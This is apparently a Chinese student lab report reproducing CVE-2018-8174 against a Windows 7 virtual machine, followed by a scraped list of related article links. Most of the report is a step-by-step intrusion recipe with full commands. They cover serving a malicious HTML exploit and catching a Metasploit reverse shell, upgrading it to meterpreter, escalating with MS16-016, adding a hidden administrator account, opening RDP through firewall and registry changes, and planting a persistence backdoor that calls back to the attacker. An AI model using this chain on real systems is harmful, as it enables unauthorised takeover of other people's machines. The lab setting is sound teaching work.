1. 实验原理介绍(图文)
    本次实验实现漏洞CNNVD-201805-248的复现与入侵,以及后续的提权管理员和留后门操作。
    漏洞基本信息:
    漏洞名称:Microsoft Windows VBScript 引擎安全漏洞
    CNNVD编号:CNNVD-201805-248
    CVE编号:CVE-2018-8174
    危害等级:高危
    漏洞类型:缓冲区错误
    威胁类型:远程
    发布时间:2018-05-10
    漏洞简介:Microsoft Windows 7等都是美国微软(Microsoft)公司发布的一系列操作系统。Windows VBScript engine是其中的一个VBScript(脚本语言)引擎。Microsoft Windows VBScript引擎中存在远程代码执行漏洞。远程攻击者可利用该漏洞在当前用户的上下文中执行任意代码,造成内存损坏。
    漏洞POC如下:

    POC中首先定义了两个数组array_a和array_b,并声明了一个类Trigger,Trigger中重载了析构函数Class_Terminate,在UAF函数中,创建了一个Trigger的实例赋值给数组array_a (1),并通过Erase array_a清空array_a中的元素,这时候在析构array_a中的元素的时候会触发脚本中Class_Terminate的调用,在Class_Terminate中增加了一个array_b(0)对Trigger实例的引用(Trigger实例引用计数+1),再通过array_a (1)= 1删除array_a (1) 对Trigger实例的引用(Trigger实例引用计数-1)来平衡引用计数,这时候Trigger实例会被释放,但是array_b(0)仍然保留了这个Trigger实例的引用,从而array_b(0)指向了被释放的Trigger实例的内存,最终在TriggerVuln中通过b(0) = 0访问未分配内存触发漏洞。

  2. 环境配置介绍(图文)
    攻击机操作系统信息:Linux kali 4.18.0 amd64(静态IP:192.168.3.200)
    靶机操作系统信息:Windows 7 Professional SP1 32位(静态IP:192.168.3.250)
    靶机浏览器版本信息:IE8
    攻击机和靶机都是部署在VMware上的虚拟机。

  3. 实验过程详细介绍(图文)
    一、 部署攻击
    第一步,利用漏洞攻击模块撬开win7的大门,获得靶机的shell。

    1.下载漏洞模块
    git clone https://github.com/Yt1g3r/CVE-2018-8174_EXP.git
    在攻击机kali中打开终端,从github下载到用于攻击该漏洞的攻击模块。本次实验使用的是”Yt1g3r”上传的使用python语言编写的EXP。
    2.编译文件
    python CVE-2018-8174.py -u http://192.168.3.200/exploit.html -o msf.rtf -i 192.168.3.200 -p 4444
    进入上面下载到的CVE-2018-8174_EXP文件夹,将py文件编译为恶意html文件。此处 -i选项为kali攻击机ip, -p选项为监听端口4444。
    3.复制文件
    cp exploit.html /var/www/html
    将上一步编译得到的html文件复制到网站根目录下,以便通过浏览器访问。
    4.web服务器开启
    service apache2 start
    开启攻击机的apache2服务,启动web服务器。
    5.使用metasploit获得靶机的shell

    打开metasploit的命令行模式,输入以下指令:
    use exploit/multi/handler
    set PAYLOAD windows/shell/reverse_tcp
    set LHOST 192.168.3.200
    exploit
    使用metasploit的exploit/multi/handler模块,PAYLOAD设置为windows/shell/reverse_tcp,设置相关参数,开始攻击。show options可见所有可设置项。LHOST设置为攻击机ip,LPORT设置为监听端口,此处LPORT已经默认为4444,否则set LPORT 4444。
    6.靶机win7使用IE浏览器访问192.168.3.200/exploit.html

    在IE中打开恶意链接后,虽然页面显示打开失败,但是实际攻击已经成功,kali机获得返回的shell。

  4. 打开返回的shell。

    win7打开恶意链接后,在kali的metasploit中可以看见攻击成功返回的信息,提示有“shell session opened”即已成功建立和靶机的连接会话。
    回车一下,可进入win7的cmd。
    chcp 65001 清除乱码。
    此时已可在cmd命令行中远程对win7进行一些简单的操作,例如在桌面弹出一个计算器。
    而当我们尝试添加新用户net user hacker 123456 /add ,发现指令被拒绝,说明当前用户权限太低。windows开机时默认登录一个普通用户账号,攻击进行到这里只能取得和当前用户相同的权限,所以我们目前仅拥有普通用户权限,所以为了对靶机进行更多操作,我们需要进一步进行提权处理。

二、 shell升级
第二步,为了后续使用其他手段提权,将第一步得到的shell升级为meterpreter shell。
1.将shell转到后台
Ctrl+z
2.确认,注意这里是session 2
y 回车

3.查看对应序号,该session类型为shell x86/windows
sessions -l

4. 载入转换模块
use post/multi/manage/shell_to_meterpreter
5.设置要升级的SESSION
set SESSION 2
在第2步将shell转到后台时,放到后台的是SESSION 2,所以此处设置为SESSION2。
6.开始攻击
run
开始进行shell类型转换。出现Meterpreter session 3 opened语句,转换成功。
7.查看是否出现新的SESSION
sessions -l
可以看到新出现的SESSION3类型为meterpreter x86/windows,这就是上面的shell转换出来的新SESSION。

8.进入新SESSION
sessions -i 3
进入刚刚升级出来的SESSION,可以看到meterpreter > 提示符,使用一些meterpreter的指令。
此时输入getsystem还是显示没有权限 ,使用background将SESSION3再次放到后台。

三、 漏洞提权
第三步,配合其他漏洞提权为管理员。

  1. 在metasploit利用WebDav漏洞模块对靶机win7进行提权

    use exploit/windows/local/ms16_016_webdav
    set SESSION 3 (上面第二步升级后的新SESSION)
    exploit
    使用exploit/windows/local/ms16_016_webdav模块,设置相关参数,开始攻击。此处设置SESSION为第二步得到的SESSION3。
  2. sessions -i 3 (进入win7的shell)
    3.查看可利用进程
    ps (查看进程,找到系统权限进程号3928)

    4.迁移进程
    migrate 3928
    迁移进程,获取系统管理员权限。
  3. getuid
    查看uid,发现用户名已经是NT AUTHORITY\SYSTEM,拥有管理员权限。

四、 创建管理员
第四步,创建新的管理员权限账号。

1.进入cmd shell
shell
从meterpreter命令行进入win7cmd命令行。
2.添加新用户
net user hack 123 /add
创建用户名是hack,密码是123的新用户。
3.给新用户添加管理员权限
net localgroup administrators hack /add
将刚刚创建的hack设为管理员。
4.成功,已获得该系统的管理员权限

五、 远程登录
第五步,开启目标机器的3389端口,进行远程桌面连接。
1.查看目标机器端口使用情况
在cmd中使用netstat -an查看3389端口是否开启

并没有开启,所以我们需要打开该端口
2.添加3389入站规则
netsh advfirewall firewall add rule name=“Remote Desktop” protocol=TCP dir=in localport=3389 action=allow

设置防火墙允许通过3389端口远程桌面登录。
3.开启端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

修改注册表开启3389端口
4.使用第四步中创建的账户远程登录
(在meterpreter)portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.3.200 (此为攻击机kali的ip)
(在kali终端)rdesktop -u hack -p 123 192.168.3.250
portfwd命令在meterpreter中使用,所以本地IP填写127.0.0.1,远端IP填写kali机的IP,端口使用前面打开的3389端口。
rdesktop命令-u选项填写第四步中创建的新用户,-p选项填写该用户的密码,最后一个参数填写要连接的机器,也就是靶机win7的IP地址。

六、 装后门
第六步,植入后门木马,让靶机在重启后仍会自动重连到kali。
1.生成后门木马
(在meterpreter)run persistence -X -i 5 -p 5000 -r 192.168.3.200 (本机IP地址)
设置重连的IP地址和端口号。
此时,可以在远程桌面中打开”Persistent Script written”一行中显示的路径,确认后缀名为vbs的木马文件是否已成功安装到win7。

2.win7关机

在meterpreter命令行中会显示会话已关闭,本次连接已断开。
3.设置重连监听
打开新的metasploit窗口,输入以下命令。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.3.200
set lport 5000 #要跟设置 run persistence 时的端口一致
exploit
使用exploit/multi/handler模块,设置PAYLOAD为windows/meterpreter/reverse_tcp,LHOST和lport设置为和run persistence命令中相同的IP地址和端口号,开启攻击。此时开始监听来自win7的重连,当win7重新开机,木马文件被启动,此处将自动收到重连的会话。
4.在win7中执行木马文件

win7再开机后会弹出木马文件的执行请求,点击打开,kali机就能打开重连的会话。

  1. 总结(针对实验内容和实验过程问题总结)
    这次实验我们认为最难的一点是从拿到靶机的shell到成功提权管理员的转接。
    一开始选择CVE-2018-8172这个漏洞进行复现的时候,我们根据找到的资料,在kali从github下载漏洞攻击文件,编译文件,在终端开启监听,进行攻击,得到win7的shell,直到这一步还是很顺利的,但是发现只是普通用户权限,很多指令都不能用,比如创建新用户,开启程序,修改注册表,开启端口等。使用这些高级指令必须要得到最高的管理员权限。后来查网上的资料发现【以常规手段】在win7开启最高的管理员权限有以下几种办法:
    ①在开始——运行——输入cmd,右键“以管理员身份运行”,再进入cmd界面,这时候上面提到的高级指令才变得可用。
    ②用户以管理员身份开机。
    ③知道管理员用户的密码,输入密码登录管理员账号。
    因为我们目前仅仅只是在kali中进入了win7普通用户权限的cmd shell,想要实现第1点的话,必须远程开启win7的端口,修改win7的注册表等等……在kali远程进行这些操作,无疑需要获得该靶机win7的最高的管理员权限,这里就形成了逻辑闭环,因此第1点在普通用户权限的shell是无法实现的。
    至于第2点的实现则需要一定的几率,如果用户以管理员身份开机,则我们上面的操作就能获得管理员权限。但是如果用户没有以管理员身份开机(这种情况是更加常见的,因为一般的win7用户大多数都是以默认的普通用户权限开机的),则无法实现。我们的入侵应该依靠win7漏洞和各种kali的渗透工具的主观能动性,不能把希望寄托在靶机以管理员权限开机这种偶然性事件上面。
    至于第3点则更难实现了,如果事先就已经知道靶机用户的密码,那也没有利用win7本身的漏洞秘密攻击靶机的必要了。
    之后我们考虑寻找在可以metasploit中使用的攻击模块,因为我们前面的做法是直接在终端使用nc命令监听4444端口,虽然能打开cmd shell却对后续提权无从下手,而在metasploit中我们会有更多可用的攻击工具。于是我们在github搜索CVE-2018-8172这个漏洞的相关攻击模块,找到了0x09AL这位github用户用ruby语言写的CVE-2018-8172的攻击模块下载数最多,并进行尝试。经过我们的实践之后,发现他写的攻击模块不能成功返回shell。我们注意到readme文档中有一句”The exploit doesn’t work very well with meterpreter shellcode so it’s better to use non-staged reverse shell.”,猜测需要换一种类型的payload。我们尝试了几种别的payload,发现也不能成功,使用single的payload甚至会令浏览器进入未响应状态。最后我们判断这个攻击模块不能使用,但也在此感谢一下这位0x09AL同志的付出。
    这样看来漏洞CVE-2018-8172似乎只能走到这步了,但是我和我的组员还是不甘于这个结果,指导老师给了我们提示:可结合其他漏洞和方法进行入侵。
    一开始我查阅资料,找到了一种似乎可以提权的方法,在cmd 中输入at 16:53 /interactive cmd ,使用taskmgr命令打开任务管理器,杀死现用户桌面进程(explorer.exe),新建explorer.exe,则整个界面都在管理员(因为当前的explorer进程是在system权限运行的),然后再重新打开cmd,当前用户就变成system了。但是实践发现这些指令只在xp系统有效,在win7系统的环境下运行这些指令会被限制导致提权失败,而且这种提权的方式是没有用到CVE-2018-8172这个漏洞的,就和这个网络攻防题目相冲突了,遂放弃。
    kali自带的渗透工具metasploit装有许多提权漏洞的攻击模块,如永恒之蓝,ms13_053,ms14_058,ms16_016,ms16_032等,但是发现这些提权漏洞的可填参数很简单,是一个session,也就是说利用这些漏洞入侵的前提是要有一个meterpreter的session。
    然后我们梳理了漏洞入侵的一般流程,想到利用python语言的那个攻击脚本进入到win7的cmd的时候已经成功返回了一个shell,只是不是meterpreter类型的session,但这不失为一个机会,只要我们将在终端进行的监听接入到metasploit来进行,就可能有机会利用到metasploit自带的丰富的攻击模块。
    于是我们再查阅资料,学到了利用metasploit中的shell_to_meterpreter这个模块,我们成功把win7的shell转换成meterpreter shell,产生了一个meterpreter的session。然后再利用ms16_016_webdav这个漏洞,填入session参数,成功进行进一步提权。
    后续我们参考了课件“溢出实验”中远程连接和留后门的操作,都比较顺利。
    这次实验比较大的经验教训是,当一条路走不通的时候,可以脚踩多条路一个急转弯,触类旁通是有益的。

漏洞CNNVD-201805-248的复现与提权相关推荐

  1. 【经典漏洞回顾】Microsoft Windows Win32k本地提权漏洞分析(CVE-2015-0057)

    漏洞信息 1 漏洞简介 漏洞名称:Microsoft Windows Win32k本地提权漏洞 漏洞编号:CVE-2015-0057 漏洞类型:UAF 影响范围:Windows Server 2003 ...

  2. sqlite字段是否存在_【漏洞预警】Linux内核存在本地提权漏洞(CVE20198912)

    更多资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn) 漏洞背景 近日,Linux git中发布一个commit补丁,该补丁对应的漏洞是一个本地 ...

  3. [漏洞分析] CVE-2022-0995 watch_queue 1bit “溢出“内核提权

    CVE-2022-09095 watch_queue 1bit "溢出"内核提权 文章目录 CVE-2022-09095 watch_queue 1bit "溢出&quo ...

  4. WIN8系统的远程桌面漏洞 利用QQ拼音纯净版实现提权

    前言 发现这个漏洞的时候, 笔者正在机房上课.正想用3389远程桌面去控制宿舍电脑的时候,因为重做系统忘记自己的IP地址,因此就随手扫描了一下IP段开3389端口的电脑. 没想到就随手扫描到一台WIN ...

  5. [原创]WIN8系统的远程桌面漏洞 利用QQ拼音纯净版实现提权

    前言 发现这个漏洞的时候, 笔者正在机房上课.正想用3389远程桌面去控制宿舍电脑的时候,因为重做系统忘记自己的IP地址,因此就随手扫描了一下IP段开3389端口的电脑. 没想到就随手扫描到一台WIN ...

  6. [漏洞分析] CVE-2022-0847 Dirty Pipe linux内核提权分析

    CVE-2022-0847 Dirty Pipe linux内核提权分析 文章目录 CVE-2022-0847 Dirty Pipe linux内核提权分析 漏洞简介 环境搭建 漏洞原理 漏洞发生点 ...

  7. arm linux漏洞,GitHub - armjirawat/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合...

    CVE-2017-1000367 [Sudo] (Sudo 1.8.6p7 - 1.8.20) CVE-2017-1000112 [a memory corruption due to UFO to ...

  8. CVE-2022-0847 Linux内核提权漏洞分析

    文章目录 前言 漏洞复现 1.1 文件覆写poc/exp 1.2 覆写/etc/passwd 漏洞分析 2.1 Linux管道机制 2.2 splice系统调用 2.3 漏洞利用流程 总结 前言 20 ...

  9. Microsoft Windows Win32k本地提权漏洞分析

    漏洞信息 1 漏洞简介 漏洞名称:Microsoft Windows Win32k本地提权漏洞 漏洞编号:CVE-2015-2546 漏洞类型:UAF 影响范围:Windows 7 Service P ...

  10. 【权限提升】windows平台-提权项目MSFCS溢出漏洞

    基本知识点 Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限.只要用户账户加入到这些本地组内,这回用户账 ...

最新文章

  1. 重定位(搜索KERNEL32.DLL得到API地址)
  2. ARM LDR与MOV的区别
  3. Win32程序设计(Windows程序设计机理)
  4. CentOS下yum操作gnome和kde桌面
  5. java合并不连续的时间段_基于时间戳不完全匹配的pandas合并
  6. c 如何加函数锁linux,Linux下C语言中fcntl函数用法说明
  7. [SQL实战]之查找employees表
  8. SCOM 2012知识分享-17:创建并管理组
  9. bash脚本之条件判断
  10. python 框架和 spring mvc_整合WebSphere Portal 7和Spring 3.0 Portlet MVC(下)
  11. js页面跳转 和 js打开新窗口 方法 【转】
  12. android手机版本为什么打不开,手机打不开,不能打开usb调试,如何刷机
  13. Spring Cloud 应用篇 之 Spring Cloud Stream(消息驱动)
  14. Excel小问题 - 前三个非空单元格数值之和
  15. 数学建模之蒙特卡洛算法
  16. OCR概述和CRAFT
  17. 向量学习过程思想总结概括
  18. printf颜色控制c语言,C语言中控制printf的打印颜色实例及vt100的控制符文档
  19. SQL管理员sss或navicat premium连接自定义非1433端口说明
  20. 适用于Shiny的ESS代码缩进设置

热门文章

  1. webstorm 波浪线_WebStorm 使用
  2. 数据新闻的四大发展特点
  3. php 1---100之间的和 几种方法
  4. 今天修改包名时出现 java.lang.ClassNotFoundException: com.myandroid.qqlogin1.MainActivity错误
  5. 手机WAPI功能检测常见问题分析(系列连载一):证书安装
  6. Go框架,库和软件的精选列表
  7. Java 框架、库和软件的精选列表(Awesome Java)
  8. 遥感数字图像处理复习(朱文泉)
  9. java控制台通讯录
  10. 20线程测试cpu性能软件,cpu测试工具(wPrime Benchmark)